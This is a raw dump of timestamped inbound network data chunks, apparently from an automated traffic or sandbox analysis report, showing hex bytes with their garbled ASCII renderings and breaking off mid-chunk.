2022-07-20 17:09:03 UTC	10645	IN	Data Raw: b0 e6 d1 7d c2 0d 32 59 ae 5f 4c d0 36 c0 04 a2 1a f0 73 96 98 3a 16 17 4d 9e 8c 74 9e 3b 3a 07 5c f5 1f 33 78 74 11 b3 4c 2a 83 43 ae 47 4b 73 96 8b 75 9f 54 f2 ba e2 e7 3d 20 17 69 0d e6 e6 1c 21 9e b0 34 69 99 25 67 41 12 1e a4 12 35 cb 18 77 28 0b 9a 54 95 9d 60 de 02 a1 3a 27 4a 59 0e 49 26 5e 16 66 99 30 9c c8 8f 74 00 ac d1 31 4a f4 93 f3 79 d1 88 9b 62 3a e6 df 26 ba 4e 0d 94 6f 9d 6e 59 f3 ed 33 87 3d dd 0a 7a 33 ed bc de d1 2a 53 6f 09 7a 73 8a 93 b9 b4 2a 2f 9b ef c7 a5 e3 d5 ae 35 5a 67 25 eb 49 bb 8f d0 2b 4b f3 eb c1 c2 f9 bf 5f 31 34 c2 cd f3 bb 62 62 ad b3 63 d1 d8 17 f5 6f 37 b4 3c 2b 93 bc 78 2f 4b 9b e8 be 7f 76 4d f4 5c 9d 2b ba b9 f8 ce 9e 7e df 1d 2f 1a 7d 5b 1b 4b e5 76 f3 3d 98 33 2f 90 ec e7 49 d5 cf ba 40 6d 93 cc 3a 0c 40 bb 4a Data Ascii: }2Y_L6s:Mt;:\3xtLCGKsuT= i!4i%gA5w(T`:'JYI&^f0t1Jyb:&NonY3=z3Sozs*/5Zg%I+K_14bbco7<+x/KvM\+~/}[Kv=3/I@m:@J
2022-07-20 17:09:03 UTC	10661	IN	Data Raw: 8e e5 bd 80 59 e9 9c 97 85 8c 90 de ed 61 69 9b b8 88 a1 92 ec e1 49 61 ac 15 ac 99 9e e3 85 23 fc 62 ab 9c f2 02 71 44 26 12 16 72 8a ca e5 93 84 f2 9a c0 09 44 a6 9c 8e 84 65 35 c4 1c a7 47 92 02 c6 50 59 58 ca 21 1e 99 e8 50 76 7a 1e 98 5d fa 17 61 65 65 13 85 c8 14 42 f8 59 40 ac 15 c7 a4 cc 7b 9a e8 88 4f fe 42 39 79 1c 22 51 71 04 35 7c 22 3a 65 16 65 78 f2 9e c2 13 6c b9 8e 64 a1 e0 22 32 b3 84 0a 72 93 b1 25 65 3a 4c 20 f7 29 18 5c 9e 1c d4 5c f5 1b ca 0d 04 39 c0 22 f2 56 53 a4 5e 42 84 dc 41 91 ce 5c 51 4c 98 b1 09 58 81 0e 59 2c 4c b4 e4 2c 12 84 ae 08 ce e5 f6 f8 af 3b 9e 1d 24 8b ed 3c 27 da 73 87 90 a2 f2 7a f1 28 2c 2c 2c 22 42 ca 05 64 20 42 2e 08 3c 2e 4b 21 17 95 9c ac 2c 74 ca ca 2e 44 ac 20 d2 54 35 80 58 c7 40 7f 17 26 b0 94 13 82 c1 Data Ascii: YaiIa#bqD&rDe5GPYX!Pvz]aeeBY@{OB9y"Qq5\|":eexld"2r%e:L )\\9"VS^BA\QLXY,L,;$<'sz(,,,"Bd B.<.K!,t.D T5X@&
2022-07-20 17:09:03 UTC	10669	IN	Data Raw: 25 48 78 99 64 e0 ab b8 e2 4b 0a 39 9f 19 9e 47 c8 dd 45 5c 02 dc 29 5e 18 9c 1d 32 60 0c 10 b7 88 cf 24 f9 38 2e 48 92 81 c1 71 43 b2 71 5f 28 0e e2 32 d2 7b a2 10 c8 3f 29 c4 34 0d a3 0a 8e 5f 31 0c c2 e2 b9 61 38 e5 73 4d 1d 8f 64 1c 1c 81 1d 42 3d 01 e8 5a be 0e 01 47 a6 56 10 0b 28 e4 90 30 8a 28 15 8c 20 51 0b b8 43 bf 50 87 e2 ff 00 86 f7 08 1c f5 2b 38 5f 3d 73 94 46 51 19 07 b1 ca 28 ac 20 78 99 7f 92 ff 00 b8 35 f9 40 64 0e eb e1 12 8e 08 f1 86 96 e5 11 c8 1c b4 81 df 96 13 5f cb f2 ca cf e1 85 8f f1 00 8f 41 d4 ac f4 ca ca 3d d6 10 08 8c a3 80 9b 21 71 2e 01 07 65 04 46 3a 65 0e 99 47 f0 08 fe 05 49 69 ac 4f b7 94 f9 4b 97 14 d2 02 74 b9 40 92 84 8d 08 8c a2 d2 e4 f9 01 18 0e 46 56 a2 d2 f4 c8 89 0e e0 57 10 43 23 0f 22 3c 27 b0 e1 d3 61 19 bb Data Ascii: %HxdK9GE\)^2`$8.HqCq_(2{?)4_1a8sMdB=ZGV(0( QCP+8_=sFQ( x5@d_A=!q.eF:eGIiOKt@FVWC#"<'a
2022-07-20 17:09:03 UTC	10685	IN	Data Raw: 77 45 04 11 ec 0c 9d 98 e2 53 5b dc bb a7 12 48 18 4e 6e 57 61 d1 a7 3d 24 95 ce 4c 79 5f 1d 0a c2 03 08 b4 80 41 05 c0 80 d1 c5 48 f4 1c d7 86 b4 e5 ed ca 8c 0c 71 ca 92 32 d4 d2 13 ff 00 91 15 c2 64 40 2e e0 bc 06 27 64 a0 cc 39 cd 24 ca c3 c4 47 85 e4 fe 4e 2d 71 73 f9 01 17 24 63 38 15 0b 14 6f 2d 12 1c 96 4a d0 0b cb 5d 19 4e fe 69 c3 c6 5a e0 f4 c8 bb 18 f8 a3 d8 0f e4 8f 76 ff 00 da 33 94 42 ce 03 9c 30 86 53 4e 53 46 16 70 0b c2 32 8c bb f8 a6 0c 2e e1 03 84 e7 e0 bb e7 fd 04 32 0a 39 41 d9 3f e8 77 4e 3d f8 61 34 ac 02 08 c2 f8 5f f7 06 1c 8e 20 ae 28 b5 71 ca e5 dc 1c ac 22 b8 77 23 b1 79 04 85 8c 2c 2f 84 f2 42 f9 40 2e 45 72 0b 19 44 a6 1c 80 72 b3 d0 20 bb e4 85 df 2f 8f 00 c2 13 e1 0e 11 44 5a 5c c3 c9 cc ca f1 b4 00 ec 27 bc 01 cb c8 bb 13 Data Ascii: wES[HNnWa=$Ly_AHq2d@.'d9$GN-qs$c8o-J]NiZv3B0SNSFp2.29A?wN=a4_ (q"w#y,/B@.ErDr /DZ\'
2022-07-20 17:09:03 UTC	10701	IN	Data Raw: 25 fd d0 09 8f e2 bb 14 59 84 50 38 41 cb 8e 53 9b cd 00 41 92 32 d4 1c 82 3d 32 a3 91 3e 32 13 4f 26 f2 c2 31 87 27 02 d2 1d 9e 80 00 79 80 8b 83 91 90 84 0e 48 6e 16 57 2e 4a 66 f1 0c fe 29 a7 28 34 14 59 85 23 8a 28 80 b0 b2 b1 94 42 07 08 0e d8 ee f4 4a 1d 38 ac ac 20 8f e0 25 24 bc c8 f0 2b b8 26 44 1a 18 d6 35 09 23 68 2f 84 a3 3b 58 8d 92 50 98 b8 70 25 06 1c 08 5c 54 50 cb 87 89 51 ab 2b 97 d1 90 28 e1 7b d3 60 b1 18 73 a6 09 d2 bd 73 ec d9 9a d4 eb 81 19 89 25 c0 82 f0 13 8b 91 c8 2d 00 88 62 69 2f 93 07 e9 9c 36 8b 90 ac 42 99 8b 87 25 c3 8a 16 c3 50 b8 4a 9a 7f 20 8a 2e 48 50 0e 4f d6 12 8e b5 e1 4b 45 e1 b1 06 b1 09 a3 5c 58 14 b2 e0 8b 20 08 df e4 0c 9c 30 9b 83 27 61 c4 0d 94 6a c5 c2 f4 c8 49 4c ae 5c 6b e9 f2 a3 d5 42 d3 1d 78 e3 4f 6f 20 Data Ascii: %YP8ASA2=2>2O&1'yHnW.Jf)(4Y#(BJ8 %$+&D5#h/;XPp%\TPQ+({`ss%-bi/6B%PJ .HPOKE\X 0'ajIL\kBxOo
2022-07-20 17:09:03 UTC	10709	IN	Data Raw: a0 30 88 e8 11 0b 08 2c 20 50 e8 d5 85 84 e1 d3 2b 08 80 80 41 c0 a6 a7 84 7f 01 d0 fe 03 ba ec 3a 1e e8 04 30 10 28 9c ac 65 05 90 17 62 b1 d3 04 2f 94 46 10 40 74 c2 28 14 1c 1d d3 38 e8 02 c2 c2 00 2c 20 32 bc 79 42 20 9b c5 83 ce d4 6c af 31 5c c9 41 64 22 b9 00 84 98 46 45 cd 07 2e 44 f5 ca ca e5 94 0a 25 65 65 61 65 67 a3 8a 27 a9 5c bb 05 1b 03 51 2b 39 58 59 c2 01 64 04 e7 60 13 92 8f e5 9f f1 00 b8 e1 11 dc 76 41 65 06 14 d6 21 d9 61 63 08 2e 58 42 30 43 80 c8 28 b9 38 a2 8f 42 11 0b 28 f4 c2 3d 0a 60 05 61 b9 7b b2 73 d0 84 d0 87 c8 6a 3d 96 57 c7 4c 21 dd 36 22 e3 8e 2e 24 06 b6 22 e4 38 b5 37 f9 a8 eb a6 61 4c 48 0d 90 61 8f 05 76 c0 25 eb 91 0e 04 bd 3b 01 65 3c 90 09 e4 98 c4 0a 64 8e cf 24 4e 57 fb 3d 97 2c ac 2c 29 a4 ee 32 9e 03 57 60 9a Data Ascii: 0, P+A:0(eb/F@t(8, 2yB l1\Ad"FE.D%eeaeg'\Q+9XYd`vAe!ac.XB0C(8B(=`a{sj=WL!6".$"87aLHav%;e<d$NW=,,)2W`
2022-07-20 17:09:03 UTC	10725	IN	Data Raw: 41 a9 cd 21 14 0e 10 2b e5 06 ac 90 0a 25 10 50 09 a4 85 1b 8a 3f 39 c0 32 60 39 e0 a9 0e 09 7b 97 12 e4 d6 f1 4f 38 51 39 c1 17 f2 19 0d 02 33 97 bc 04 d8 cb c3 0e 50 2f 21 b8 72 73 78 26 00 43 9c 9c e4 de 4b 2b 2b b6 33 94 06 3a 91 95 f2 b8 e3 a1 40 61 7c a7 3f 8a f3 77 e4 bf d0 7a 39 2b 8a 24 01 cc e4 f6 55 5f 87 5a 70 e4 53 02 73 fb 03 84 08 3d 09 3d 08 c2 f8 59 e9 fe fb 35 00 81 44 82 8a 09 df 3c 56 57 2c 22 ee e5 e5 0e e9 8d 2e 25 bc 56 30 08 c2 09 c3 20 1c 22 9a dc a1 d9 72 4e 5c 49 47 b0 05 31 a1 70 4c 6a 77 60 ef e4 83 30 1d 17 24 7f 8a 8c f2 44 a7 3b 08 b8 94 d9 70 9b fc 83 98 99 10 c8 73 9a 9b 92 9a e2 11 fe 28 11 88 64 e4 a5 66 53 26 e0 04 87 0d 72 71 ca 2d e4 98 72 a2 61 05 ee 00 b1 c1 39 c0 87 39 35 a4 12 02 66 4a 2d c1 f2 64 c4 e0 11 f9 0f Data Ascii: A!+%P?92`9{O8Q93P/!rsx&CK++3:@a\|?wz9+$U_ZpSs==Y5D<VW,".%V0 "rN\IG1pLjw`0$D;ps(dfS&rq-ra995fJ-d
2022-07-20 17:09:03 UTC	10741	IN	Data Raw: 61 9b 92 71 94 03 39 95 56 d9 dd d7 3e 4f 61 b5 3b 86 f9 e0 1d fc c5 ac bb 30 10 6c ac 56 4f f6 3b 80 7f ec 77 56 b7 da ee c2 7f f7 8b 4e 53 7b 7d a7 aa 9e e5 5e 66 6d 37 ac 03 fb b3 19 fe d1 c5 32 d1 7b 85 f6 84 fd 83 42 1b 10 9d b4 ca fe c1 e5 df 6d ed 5e 5e 43 e5 73 19 6b f0 98 ee 49 b3 60 12 64 56 2d 3a 13 66 de 0c af 64 e2 f5 57 31 b4 2a 35 e5 d2 32 36 b2 72 59 fb 57 7a 28 eb 19 3f 37 45 3b 1c e3 ce 78 66 95 a9 f1 be 72 c9 3c 66 ab a1 91 b1 ec 1a 5b b1 b4 72 27 68 6b ae 34 a9 6e f2 77 9f 90 af 67 90 64 a6 47 f9 de d5 2b 1f 7d 36 26 42 ab b0 48 7e 8f f3 ab ae 73 2b 49 5d cc 80 6c 1d 15 78 ae b8 8d c5 b2 23 a7 74 09 35 4e 70 17 75 02 73 6d b6 aa 91 5d f2 b4 47 24 12 13 19 11 41 2c 4f 69 91 8d 16 8c 62 26 c7 18 86 ab 5c a4 ae 2b aa db 26 3d d4 a5 7c a6 Data Ascii: aq9V>Oa;0lVO;wVNS{}^fm72{Bm^^CskI`dV-:fdW1*526rYWz(?7E;xfr<f[r'hk4nwgdG+}6&BH~s+I]lx#t5Npusm]G$A,Oib&\+&=\|
2022-07-20 17:09:03 UTC	10748	IN	Data Raw: 65 8d 66 c2 c4 73 fe bb de 58 4c fd 59 76 57 ec bd 22 7a ae 10 4d 4e 68 a2 fb 4a 2f 5a b0 19 2c 10 d3 30 8d 1c 8d 2c d4 4a d7 b2 1a ce d7 6e 59 13 5b 5f 55 b4 74 1e be ca 44 6e f7 d5 1f ff 00 b8 6c ea a6 7e cc d5 b9 b5 7d 9f 57 70 98 af 30 9b 57 5c a2 b9 15 a5 13 2a b5 32 d4 4d 16 63 8a 61 f6 a1 89 3a e9 e5 25 d9 c2 8e ec c0 db b1 39 63 2e cb 2a 9a b5 eb 50 c1 f6 23 82 2f 3f 1b 90 5a 96 28 f4 73 39 57 f5 58 9a f1 20 8c 3e 9c ac 2e db 4d 55 f5 6d 49 1b 6f 59 b5 62 48 b6 36 39 4d b4 d8 97 7f 7f 24 ad f2 cd b0 0c 6b 60 57 5a 6d 45 63 59 6f 5c 75 7b 1b 39 87 61 65 d2 5b b7 6e dc 37 bd 62 7b 4e 67 a3 5b 0a 0f 55 0d 4e d5 b2 27 59 d3 43 65 ed d6 b8 b1 9a c7 99 a1 a9 1d 47 49 58 c8 65 a0 f2 a7 ad 29 23 5a 0a fe bc 39 18 24 88 6c 69 89 a2 7e aa 18 22 a1 34 8c 3e Data Ascii: efsXLYvW"zMNhJ/Z,0,JnY[_UtDnl~}Wp0W\2Mca:%9c.P#/?Z(s9WX >.MUmIoYbH69M$k`WZmEcYo\u{9ae[n7b{Ng[UN'YCeGIXe)#Z9$li~"4>
2022-07-20 17:09:03 UTC	10764	IN	Data Raw: 3b 6f e6 8e e5 b9 a2 7d bd 33 ad 45 aa ab 1d 1a f2 4d 16 c2 78 63 86 48 f6 06 67 a9 9f 09 66 d3 70 e6 99 ee 3c b2 bc 82 43 c5 8d 6b 43 d4 0d 6c 6d 95 ce 7b ec f1 28 4a 4b 99 0f fe 4b 32 cd 71 d1 eb 25 90 f3 10 08 ee 07 32 5b be 46 31 a1 8e 76 64 31 7f 04 c6 12 27 b3 e3 12 42 19 19 99 ce 91 bb 39 ea 47 34 15 e0 a9 30 08 0c c9 56 9c c0 6c af 3e ca d2 db 14 83 ab 32 47 eb 2c c6 f8 19 96 0b 8d 75 8a ed a8 eb 72 b9 d2 6c 2f 56 d3 4f 13 b5 d3 be 94 ba 5b 26 3b 37 3d aa c5 4b 5b 2f 5f d5 58 7f fe 97 67 64 6e 69 6f eb 1d ab da 0a b1 db b5 25 76 c7 27 d0 ad b0 b2 0b 74 70 4b 59 9a 29 25 aa da 9b 18 f5 72 6b a5 87 57 06 de 6b 3b 9b 50 68 de f9 e5 d7 87 cd 1d c7 d8 74 92 44 d9 e0 a1 79 b1 49 51 97 68 53 7b 98 3d be 66 50 a7 f6 39 3a e6 ca 7b ab 60 fe 52 d2 d2 3a ac Data Ascii: ;o}3EMxcHgfp<CkClm{(JKK2q%2[F1vd1'B9G40Vl>2G,url/VO[&;7=K[/_Xgdnio%v'tpKY)%rkWk;PhtDyIQhS{=fP9:{`R:
2022-07-20 17:09:03 UTC	10780	IN	Data Raw: dd 7d 9a 1b 49 2d 3b 47 a7 9f 68 da ba b8 3d 6a 3d a4 b6 6f 4d ec 37 23 b7 66 10 fa 13 6a 35 ce 9e 03 a8 83 2c ab 5e 26 59 ae 67 ab 47 5b 1f 3b ad 8e b4 74 60 e4 c9 bf fa e6 2d 70 6b bd e7 5f aa d5 47 4e 60 c5 43 63 18 8b c1 3d a8 fd b7 df e7 b9 1d 09 46 c5 91 fa ad bd 64 f6 b6 ec d7 be f3 db 1c be d1 b3 b5 46 cc 34 24 74 75 aa 7d 67 1d 73 e3 6e e6 70 e9 b5 70 c9 61 5b 8f 65 03 f6 5a 9b ba c9 69 02 e6 f9 cb 5a d9 9f 1c 8e 63 9b 75 dc e1 6d 88 6c c4 20 95 f7 1d eb 9b bc 0d a6 96 96 ca 8b e6 b9 03 69 4d 2c 33 49 20 6b 9b 0b bc 75 62 a9 6a 27 ca fa 8e af 5e e3 db 5e 1d 6c 55 9e 21 b8 b5 b5 de e9 35 8c 16 1d ec 1a df 03 ec b9 bb 1a c5 8d aa 35 8e 64 2a d6 b6 1b 92 f9 2c d6 9e cc af 94 35 80 09 aa 35 ac b3 0b 78 86 90 3f 8b c9 69 63 a3 91 f1 9f 56 b4 cf 26 fe Data Ascii: }I-;Gh=j=oM7#fj5,^&YgG[;t`-pk_GN`Cc=FdF4$tu}gsnppa[eZiZcuml iM,3I kubj'^^lU!55d*,55x?icV&
2022-07-20 17:09:03 UTC	10788	IN	Data Raw: d4 fa 7c 35 d4 e2 dd c7 40 60 b7 62 b6 bd b0 3d ed 9e 9c 17 66 6d a6 57 af 5e e5 69 eb 55 7a 86 d5 3a 6d e4 fd 98 ab eb 9b eb 27 45 ea 74 f5 ce b1 ed 54 eb c3 67 dc 6c dd 67 b0 13 0d 5a d5 e3 0d 66 bc 81 15 50 55 96 3e 94 4d 80 de 5f d7 c9 5d 43 56 a5 69 9b 7e 3d 6c a6 9d af 65 4c d1 44 a2 93 c3 4e 66 47 b1 75 a7 c3 2c 36 3d e6 0a d5 69 5f 71 8b 73 7e 0d 9c fb 57 56 b5 ad 87 7f e4 b9 b6 be d7 c9 4d fb 5a 73 51 63 e6 1b 0d ec ac 52 6c 63 31 d9 d9 dc a8 af 5e 70 57 29 44 e5 5a 38 c1 6d e9 a5 66 aa ce aa bc 32 fb 8d 4a 94 5f 23 5a cd bd a9 5f 1e 9e 95 97 c7 72 c5 98 20 64 f2 db 5e 97 b0 aa d5 77 d7 e7 80 cb 7e 7b 70 fa 75 b8 5f 1d ad c6 27 d4 4b 62 8c 8d d8 cf 14 d0 d7 73 1f 62 bb 75 e3 d4 2e c3 ed d6 1d 00 dd 59 65 0f eb 97 b6 68 e3 bd a1 b9 59 f5 27 96 d8 Data Ascii: \|5@`b=fmW^iUz:m'EtTglgZfPU>M_]CVi~=leLDNfGu,6=i_qs~WVMZsQcRlc1^pW)DZ8mf2J_#Z_r d^w~{pu_'Kbsbu.YehY'
2022-07-20 17:09:03 UTC	10804	IN	Data Raw: a8 85 e1 d5 0d 87 de d4 b5 90 68 b6 56 7c b7 1c df ba e8 a9 78 be c4 93 47 09 92 cd 5d 94 bf d9 b7 4d 5a 72 37 c0 d9 7c b7 62 99 d0 de b7 11 9a fc d4 ec 51 6c 16 62 a9 74 54 b0 6c 72 35 a4 65 86 dd d8 36 19 f5 0c 65 56 ea 5d 4e 75 76 38 e1 86 32 c8 1c cb 32 6a 24 d7 6d 66 d8 c7 73 57 25 7a 35 a5 74 f1 55 64 0d 96 d3 ac d7 9a c6 bd d5 66 d5 ba 28 67 dd 6c 64 37 6b ef 58 fa 9e b7 3b a2 3b 5d 50 aa b6 0d ae e8 6f 39 e1 da 99 ab 6e 05 ed 63 23 92 d8 6d 66 41 6e 6a 6e b3 e4 96 4d 1d 8b 95 c5 93 5a ec d6 35 66 11 a5 60 b4 d7 08 fc 75 67 73 1a 66 8a c3 0c 20 35 da f6 cd 16 b6 07 96 5e 6e b5 e3 46 fb 15 e2 bf 50 93 5e b3 a3 1f d6 57 7b 24 8d f5 26 92 73 6d 6b 61 95 cd 80 be 56 36 46 42 ad 03 6c d4 94 4e e6 db 0c 52 7d f2 ef a7 30 56 e1 c3 99 4a 39 8c 01 c1 3a 6e Data Ascii: hV\|xG]MZr7\|bQlbtTlr5e6eV]Nuv822j$mfsW%z5tUdf(gld7kX;;]Po9nc#mfAnjnMZ5f`ugsf 5^nFP^W{$&smkaV6FBlNR}0VJ9:n
2022-07-20 17:09:03 UTC	10820	IN	Data Raw: 97 5e d4 22 6e 1a 04 45 b8 7a 96 17 f1 d6 59 9f c7 e9 fb 19 83 2b db 64 36 b6 fb 21 72 6b 95 9c 25 fa db 28 5d 2e b0 1a d1 fa 96 c0 8a ff 00 ab 5b 2d 29 b4 3a 5d 33 25 a9 53 5f 1e d3 da df b5 7f ad c7 14 b2 da f6 08 af 3f 49 35 58 6a 7b 5e d9 d7 a3 6f aa 46 e6 5e d1 b2 26 55 8a 18 23 ad 25 3b 71 d5 a6 6d cf b0 f4 ab 26 dd b9 22 8a 1a de 7b 97 66 9e 5d 83 3d 7f f5 be da fd 5d e7 b1 ff 00 5e 35 14 59 49 be a7 70 ed e2 a5 a9 b7 04 1f d1 c5 4e 7f 67 ff 00 d7 36 34 9b fb 57 47 a8 1e aa cf 61 f6 97 6d b4 9a 48 9f ee 1e e5 54 5a d1 6f 2a 5b 8b d8 7d 9e ad 31 b1 fd a7 62 d4 d5 4c cc b5 a8 d9 58 dc ed e4 fd 7d 4f cb b0 7c fa 7b 7b e1 5b d2 f4 3a ab 37 b6 16 bf 72 7e c6 97 51 04 95 25 92 2d 84 11 54 8f 5d 46 7b 93 50 95 9e bc 2e de 9a f4 8c d7 3e 18 b4 ec 6d 66 be Data Ascii: ^"nEzY+d6!rk%(].[-):]3%S_?I5Xj{^oF^&U#%;qm&"{f]=]^5YIpNg64WGamHTZo*[}1bLX}O\|{{[:7r~Q%-T]F{P.>mf
2022-07-20 17:09:03 UTC	10828	IN	Data Raw: d9 d7 fa b6 b3 d8 4c f7 75 72 6b f6 4c 8e 94 60 5a aa 62 fd 7f ec de c3 0d 6d ff 00 b1 50 f6 4a 3b 6d db 2a d2 a5 a0 9e 73 ea 3b 5d 77 a9 6c 76 3e ff 00 b9 b8 3f 63 fb be e3 7f 03 61 6c 26 26 8b 46 e5 b6 40 e1 08 78 b5 62 57 4b 77 7f 04 92 5d 74 8f 75 7b ce 86 c5 5f d9 fb 46 b7 d6 b6 23 6b 5f 62 f8 9a be bc 92 cc c9 bc 83 61 2c 94 5b 76 fc 72 cb af d5 36 37 6d c3 ae d8 6f a6 47 c6 6d 35 58 d6 b7 49 33 43 74 6d 86 3b 77 69 51 91 ba b7 cc 36 1b 98 29 cf 5a db 24 92 ec c2 43 05 af 0c 36 63 ab 71 fa f7 ca c7 9f 34 ad b9 56 37 c8 e9 39 1a 56 9f 76 5d 86 dd f2 09 eb 30 2a e2 10 e8 ac 73 7c 1a f1 7d f3 6c a8 d6 36 e1 fe c1 5b 6b 1a c6 4a ea 11 5d a8 f8 65 8a 08 68 b1 f5 2d 4f 25 80 f9 0b ab 48 d3 18 64 69 b3 c8 d2 5a d7 91 72 57 89 e3 61 63 65 61 6c 52 c9 39 d5 Data Ascii: LurkL`ZbmPJ;ms;]wlv>?cal&&F@xbWKw]tu{_F#k_ba,[vr67moGm5XI3Ctm;wiQ6)Z$C6cq4V79Vv]0s\|}l6[kJ]eh-O%HdiZrWacealR9
2022-07-20 17:09:03 UTC	10844	IN	Data Raw: ed db 17 cd 79 a6 d4 d3 6d b8 6e 5e 7b bd 0d 9b c5 5c f1 cf 44 f5 8c 0d 86 47 4a 32 79 86 bb ab 88 6e a2 33 11 47 51 fe 21 88 43 ef 18 6c 2c 2f 41 1d 23 fa 47 b2 92 42 92 46 64 e0 c8 e5 24 8a 76 87 1d 8c c7 a4 a6 94 20 81 ad 4b 3b c3 3c 8f bc 4e 64 51 dd 08 d5 af 95 8c b6 87 bb 67 51 27 78 66 b7 bd c4 33 13 b1 68 9f 0d a3 90 ee a4 53 2d ae d0 eb fd 0e 61 ad 46 73 39 23 21 93 d7 bc 7a ec 92 be e2 37 4d 44 27 f5 19 77 49 1c 75 19 10 6b 88 cd 4e ad 4b c4 32 6d 7a f3 0e b0 84 20 aa fa ae ed ed 0f 77 ee fe 23 28 c9 ed a2 aa ae ef b8 75 ee f8 46 46 b2 cd ee f0 c8 9e bc f7 fd 22 e7 de bb e9 3a ae bb e2 d3 fa 84 6d 9f fe 6e dd ff 00 fd b1 ad 4e f4 0f 7a ab 19 7e da 22 f5 fa ee 8a a9 fb 04 45 98 d9 8e 11 cc b2 11 77 b4 5b b5 ab 86 ee d8 dc 3f 79 9e cf 67 8a 90 65 Data Ascii: ymn^{\DGJ2yn3GQ!Cl,/A#GBFd$v K;<NdQgQ'xf3hS-aFs9#!z7MD'wIukNK2mz w#(uFF":mnNz~"Ew[?yge
2022-07-20 17:09:03 UTC	10860	IN	Data Raw: 6f 41 92 29 14 64 c4 d4 91 d3 06 55 64 26 90 46 75 65 c0 d4 91 d0 75 21 ed 17 54 dd 1a 7e aa 4f 4d 18 1c fb ea c9 d1 47 a0 22 10 36 36 ac 74 52 41 96 95 c7 24 26 08 c0 c3 5b f1 19 bd c6 96 5d 66 ab b6 7c 49 f2 51 97 69 07 45 d1 71 17 21 9a 19 db fd 0c ec fe 84 25 a3 2a 21 95 a6 43 a2 93 91 ee fb 8c c6 4c 4c f6 8e 45 21 88 6e d0 d6 ed 5d d9 35 5d 37 92 42 dd f4 8e 89 b5 cd d1 49 1d 1b 0d e8 0c 98 5b db 46 b4 8a 39 14 71 cd 59 0f 44 25 33 1e 8d 85 f1 4e 16 e8 a3 1b 55 86 ab 52 09 de 19 37 fd a3 d1 56 92 40 d4 d4 b2 bc 3f ab bb d1 be 37 11 30 49 15 7c c8 4c 6d 77 4b 15 65 3e a1 db 0c 61 92 3a 67 e1 27 68 4d 29 b0 6d 6c 90 ba 8d a3 3a 71 1b ab 70 ed 72 2f 2e 93 2d 3f 82 0f fd b3 6b e1 1d 0d 95 4b 7b 5c 7e 61 d5 75 0c 48 ed 47 54 41 d0 84 3f d0 85 6b 86 51 ed Data Ascii: oA)dUd&Fueu!T~OMG"66tRA$&[]f\|IQiEq!%*!CLLE!n]5]7BI[F9qYD%3NUR7V@?70I\|LmwKe>a:g'hM)ml:qpr/.-?kK{\~auHGTA?kQ
2022-07-20 17:09:03 UTC	10868	IN	Data Raw: e6 18 74 cb 1c 8e 9d 13 28 93 de ab 27 45 3d 3b f1 55 91 04 d2 4e 96 f8 b5 7f 13 fd bb 76 f5 7a f9 6d 15 2f 5d 51 b5 a7 9b 82 c1 ad 8d 3e 6d 78 9e 92 35 1b 03 a1 a6 dd e5 1e fd ef 5d d1 ed dd dc 15 38 87 5a c7 b4 81 95 47 5e a1 86 44 35 ae cd 9f 10 a8 be 1a 3d c4 d1 86 54 a4 0e 48 e8 38 e3 a5 20 64 c0 c7 68 51 96 8c 38 cb 90 a9 c3 85 89 1d 09 c3 38 5a b3 81 c7 27 0b e1 6e 86 49 c0 e9 f6 24 52 54 f6 9e c2 28 8a b2 82 a0 cb b2 22 27 42 f4 ff 00 53 aa b3 59 15 f1 b9 24 52 30 ce 08 1d 46 1b 87 03 2e 18 1d 89 f4 56 4a b2 0c 6a 4f e3 da 34 a7 0f 59 b3 f0 fc c3 f5 93 49 1b 0f b7 03 fb 28 e3 a0 c6 9b 7c c6 d0 df 10 9d a2 37 79 89 a2 29 34 74 24 6c 86 55 da 20 65 cf 88 8c f8 bf 6d 12 e7 cc 45 41 d4 9c 94 91 86 11 78 55 06 34 ae f0 ca 4d 73 62 70 2a 72 e0 74 1d 70 Data Ascii: t('E=;UNvzm/]Q>mx5]8ZG^D5=TH8 dhQ88Z'nI$RT("'BSY$R0F.VJjO4YI(\|7y)4t$lU emEAxU4Msbp*rtp
2022-07-20 17:09:03 UTC	10884	IN	Data Raw: e0 1b e8 41 e3 57 12 46 e6 f7 c7 4e 1f 5d 05 dc 15 31 e9 73 0b 02 40 b7 97 be 99 76 db 86 85 00 bd e4 5b e9 f4 25 2b c3 3c 5b c0 80 e5 75 65 d7 da 3c 54 8b 26 31 e7 a8 2c d6 1e 6d 7d 94 19 10 9c 75 d0 5e 87 28 24 68 41 51 7f ab 4a 01 22 7c 94 76 58 fd 3d 94 25 70 f1 87 23 42 0e a4 f7 1f 74 51 2a 58 6b 60 c9 72 d6 ac 52 67 22 de 25 b3 5f db 59 3c a5 87 68 23 87 b6 84 2c 63 f4 f5 5b 35 f4 1d f8 76 d1 43 78 95 75 16 53 63 af b3 9a f4 56 22 cc 0f 02 34 fd aa c1 b3 64 b6 84 ae bf d9 95 06 05 82 76 9b 7f ba b0 2c 0f d2 7f d7 45 e0 d1 f8 5f 88 ac e2 63 80 ef bd b4 f6 d0 58 5d ac c7 4c 4f 1b 50 4e 7b 93 6e de 35 8c f3 60 13 40 57 5b fc 78 d6 4e 54 af 98 b5 87 eb 51 12 cb 10 71 fe 57 3b 1f bb cb 6a 31 7c be 11 1b 1e 2e 74 06 dd ab 1f 05 bd 64 f2 92 7b 35 3f ea ab Data Ascii: AWFN]1s@v[%+<[ue<T&1,m}u^($hAQJ"\|vX=%p#BtQ*Xk`rRg"%_Y<h#,c[5vCxuScV"4dv,E_cX]LOPN{n5`@W[xNTQqW;j1\|.td{5?
2022-07-20 17:09:03 UTC	10900	IN	Data Raw: 13 7d 1a e3 b8 f8 d1 85 1c 09 47 4e 9c 8d c7 c2 dd eb 5e 83 6e 5b d3 73 62 05 c1 12 79 57 c4 c8 7d da 68 7e 62 11 d6 c0 46 ea 39 fd e5 97 c0 6d ee d1 12 2f e0 13 cb 2a 01 6b fb d8 e8 ad ee d5 e2 6b 80 35 20 69 46 39 9b 35 ec b1 fe da bb 03 2c 3c 06 ba fb 34 af 55 87 aa c4 f2 83 a9 53 f4 fe e9 a1 24 aa f1 ee 05 ae a0 8b 5b cc 98 f6 d1 33 34 8a 01 c9 08 d5 6e 78 ab 2f 14 f8 ab d3 90 28 6f 6f f8 a8 c2 cc 2e 34 ec 22 dd de ca 2c 18 ad b4 07 80 ab c8 41 66 17 20 da e4 77 d9 7a 4d 31 8d 7c 37 1f 5d 16 22 d7 15 91 e2 6b f0 75 36 e6 f6 d0 96 77 16 be 3a 0b 91 61 7d 45 16 62 0a 03 a2 91 dd 57 8b 1c 41 ec e2 3f c3 44 33 15 91 4e 80 56 2d d3 7e 3e da bb 64 08 ec 09 73 57 dc 6e 0c 4d 6b 62 50 de 82 b6 f0 3e 43 b1 b1 